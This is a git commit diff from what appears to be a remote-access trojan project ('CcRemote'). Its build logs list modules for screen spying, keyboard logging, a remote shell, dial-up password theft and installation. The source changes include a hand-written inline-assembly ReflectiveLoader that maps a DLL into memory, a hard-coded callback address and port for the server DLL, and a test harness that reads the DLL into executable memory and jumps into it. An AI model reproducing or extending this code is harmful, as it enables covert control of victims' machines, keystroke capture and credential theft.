test load

This commit is contained in:
Cc28257 2020-10-08 14:51:56 +08:00
parent 44c1925c1b
commit 15beca2df9
12 changed files with 154 additions and 87 deletions

Binary file not shown.

View File

@ -1,43 +1 @@
f:\myapp\ccremote\bin\server\ccmaindll.lib
f:\myapp\ccremote\bin\server\ccmaindll.exp
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
f:\myapp\ccremote\bin\server\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
f:\myapp\ccremote\bin\server\ccmaindll.ilk
f:\myapp\ccremote\bin\server\ccmaindll.dll
f:\myapp\ccremote\bin\server\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog

View File

@ -166,26 +166,24 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(230): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(253): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据
正在生成代码...
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(416): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(1091): warning C4731: “ReflectiveLoader”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(322): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(324): warning C4731: “GetCurrentPositionAddress”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(333): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(336): warning C4731: “call_ror_0xD”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(345): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(368): warning C4731: “calc_name_hash”: 框架指针寄存器“ebp”被内联程序集代码修改
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library

View File

@ -20,7 +20,7 @@ struct Connect_Address
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
}g_myAddress = { 0xCC28256,"127.0.0.1",8088,"" };
char svcname[MAX_PATH];
@ -392,9 +392,9 @@ enum LocalEnum
exp_AddressOfNames = -0x40,
AddressOfNameOrdinals = -0x44,
lpflOldProtect = -0x48, // VirtualProtect的四个参数 保存老的保护方式
var_4c = -0x4c,
var_50 = -0x50,
var_54 = -0x54,
Signature = -0x4c,
NumberOfSections = -0x50,
IndexOfSections = -0x54,
var_58 = -0x58,
var_5c = -0x5c,
var_60 = -0x60,
@ -403,7 +403,7 @@ enum LocalEnum
address = -0x6c,
var_70 = -0x70,
EntryPoint = -0x74, // 入口点
NewMemAddress = -0x78 // 申请用来展开PE的内存地址
NewMemAddress = -0x78 // 申请用来展开PE的内存地址
};
@ -423,7 +423,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
jnz initLocalVar
call GetCurrentPositionAddress // 获取当前位置地址
mov eax, buffer
//mov eax, buffer
mov [ebp + PEAddress], eax // 保存当前代码所在的地址 PEAddress
addressAdd :
mov eax, 1
@ -718,39 +718,39 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
mov edx, [ebp+PEAddress]
mov eax, [ebp+PEAddress]
add eax, [edx+3Ch]
mov [ebp+var_4c], eax
mov [ebp+Signature], eax
push 0x04 // PAGE_READWRITE 区域不可执行代码,应用程序可以读写该区域
push 0x3000 // MEM_COMMIT | MEM_RESERV
mov ecx, [ebp+var_4c]
mov ecx, [ebp+Signature]
mov edx, [ecx+0x50] // PE signature 0x18 + 0x38 SizeOfImage 映像装入内存后的总大小
add edx, 0x3C00000 // dwSize
push edx
push 0x0
call [ebp+ pVirtualAlloc] // 申请一块 0x3C0000+SizeOfImage大小的内存
mov [ebp+NewMemAddress], eax // NewMemAddress = 申请的内存地址
mov eax, [ebp+var_4c] // var_4c = signature
mov eax, [ebp+Signature] // Signature = signature
mov ecx, [eax+0x54] // ecx = SizeOfHeaders 0x18 + 0x3c
mov [ebp+varLocalFS30_B], ecx
mov edx, [ebp+PEAddress] // PEAddress = 4D5A address
mov [ebp+BaseDllName], edx // BaseDllName = PEAddress
mov eax, [ebp+NewMemAddress]
mov [ebp+name_hash], eax // name_hash = mem_address
mov ecx, [ebp+var_4c]
mov ecx, [ebp+Signature]
movzx edx, word ptr [ecx+0x14] // edx = WORD SizeOfOptionalHeader
mov eax, [ebp+var_4c]
mov eax, [ebp+Signature]
lea ecx, [eax+edx+0x18] // signature + SizeOfOptionalHeader + sizeof signature = struct _IMAGE_SECTION_HEADER address 区段地址
mov [ebp+varLocalFS30_B], ecx // varLocalFS30_B = 区段地址
mov edx, [ebp+var_4c]
mov edx, [ebp+Signature]
movzx eax, word ptr [edx+0x06] // signature + 0x04 + 0x02
mov [ebp+var_50], eax // var_50 = NumberOfSections 节的数量
mov [ebp+NumberOfSections], eax // NumberOfSections = NumberOfSections 节的数量
loc_463585:
mov ecx, [ebp+var_50]
mov [ebp+var_54], ecx // var_54 = 剩余要处理的Sections数量 index
mov edx, [ebp+var_50]
mov ecx, [ebp+NumberOfSections]
mov [ebp+IndexOfSections], ecx // IndexOfSections = 剩余要处理的Sections数量 index
mov edx, [ebp+NumberOfSections]
sub edx, 1
mov [ebp+var_50], edx
cmp dword ptr[ebp+var_54], 0 // 区段是否都处理了
mov [ebp+NumberOfSections], edx
cmp dword ptr[ebp+IndexOfSections], 0 // 区段是否都处理了
jz loc_463614
mov eax, [ebp+varLocalFS30_B] // varLocalFS30_B = 区段地址
mov ecx, [ebp+NewMemAddress] // NewMemAddress = mem_address
@ -803,7 +803,7 @@ extern "C" __declspec(dllexport) void ReflectiveLoader()
loc_463614:
mov ecx, 8
shl ecx, 0 // [1] 数据目录表第二项 导入表 IMAGE_DIRECTORY_ENTRY_IMPORT
mov edx, [ebp+var_4c] // var_4c = signature
mov edx, [ebp+Signature] // Signature = signature
lea eax, [edx+ecx+0x78] // 0x78 + 0x08
mov [ebp+BaseDllName], eax
mov ecx, [ebp+BaseDllName]
@ -906,13 +906,13 @@ loc_46371B:
jmp loc_463631 // 下一个导入表结构
loc_463729:
mov eax, [ebp+var_4c] // var_4c = signature
mov eax, [ebp+Signature] // Signature = signature
mov ecx, [ebp+NewMemAddress] // NewMemAddress = mem_address
sub ecx, [eax+0x34] // 当前加载基址 - 默认加载基址 meMaddress - ImageBase
mov [ebp+address], ecx
mov edx, 8
imul eax, edx, 5 // 第6个表 重定位表
mov ecx, [ebp+var_4c]
mov ecx, [ebp+Signature]
lea edx, [ecx+eax+0x78]
mov [ebp+BaseDllName], edx
mov eax, [ebp+BaseDllName]
@ -1060,7 +1060,7 @@ loc_4638E1:
loc_4638F2:
mov edx, [ebp+var_4c] // var_4c = signature
mov edx, [ebp+Signature] // Signature = signature
mov eax, [ebp+NewMemAddress] // NewMemAddress = mem_address
add eax, [edx+0x28] // 入口点
mov [ebp+EntryPoint], eax

View File

@ -1,3 +1,6 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
f:\myapp\ccremote\ccmaindll\testloaddll\testloaddll.cpp(22): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
f:\myapp\ccremote\ccmaindll\testloaddll\testloaddll.cpp(119): warning C4700: 使用了未初始化的局部变量“lpflOldProtect”
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@ -1 +1,14 @@
g:\ccremote\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
f:\myapp\ccremote\ccmaindll\testloaddll\release\vc141.pdb
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
f:\myapp\ccremote\bin\server\testloaddll.exe
f:\myapp\ccremote\bin\server\testloaddll.pdb
f:\myapp\ccremote\bin\server\testloaddll.ipdb
f:\myapp\ccremote\bin\server\testloaddll.iobj
f:\myapp\ccremote\ccmaindll\testloaddll\..\..\bin\server\testloaddll.exe
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
f:\myapp\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog

View File

@ -1,6 +1,9 @@
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
f:\myapp\ccremote\ccmaindll\testloaddll\testloaddll.cpp(23): warning C4996: 'fopen': This function or variable may be unsafe. Consider using fopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(208): note: 参见“fopen”的声明
正在生成代码
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
f:\myapp\ccremote\ccmaindll\testloaddll\testloaddll.cpp(120): warning C4700: 使用了未初始化的局部变量“lpflOldProtect”
All 161 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@ -4,9 +4,88 @@
#include <iostream>
#include <Windows.h>
int main()
FILE * pFile;
long lSize;
char * buffer;
size_t result;
bool InitTestReflectiveLoader()
{
std::cout << "Hello World!\n";
// 一个不漏地读入整个文件,只能采用二进制方式打开
//pFile = fopen(".\\..\\..\\bin\\server\\CcMainDll.dll", "rb");
pFile = fopen("C:\\Users\\b\\Desktop\\bin\\server\\CcMainDll.dll", "rb");
if (pFile == NULL)
{
fputs("File error", stderr);
printf("open file fail");
return false;
}
// 获取文件大小
fseek(pFile, 0, SEEK_END);
lSize = ftell(pFile);
rewind(pFile);
// 分配内存存储整个文件
buffer = (char*)VirtualAlloc(NULL , sizeof(char)*lSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
{
fputs("Memory error", stderr);
printf("Memory alloc falil");
return false;
}
// 将文件拷贝到buffer中
result = fread(buffer, 1, lSize, pFile);
if (result != lSize)
{
fputs("Reading error", stderr);
printf("Load file to memory falil");
return false;
}
return true;
}
void loadCcmainDllExp()
{
std::cout << "Hello World!\n";
//载入服务端dll hijack test
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
@ -32,3 +111,16 @@ int main()
}
}
int main()
{
InitTestReflectiveLoader();
PDWORD lpflOldProtect;
VirtualProtect(buffer, lSize, PAGE_EXECUTE_READWRITE, lpflOldProtect);
__asm {
call buffer
}
return 0;
}

View File

@ -92,7 +92,7 @@
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
@ -110,7 +110,7 @@
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>

Binary file not shown.

Binary file not shown.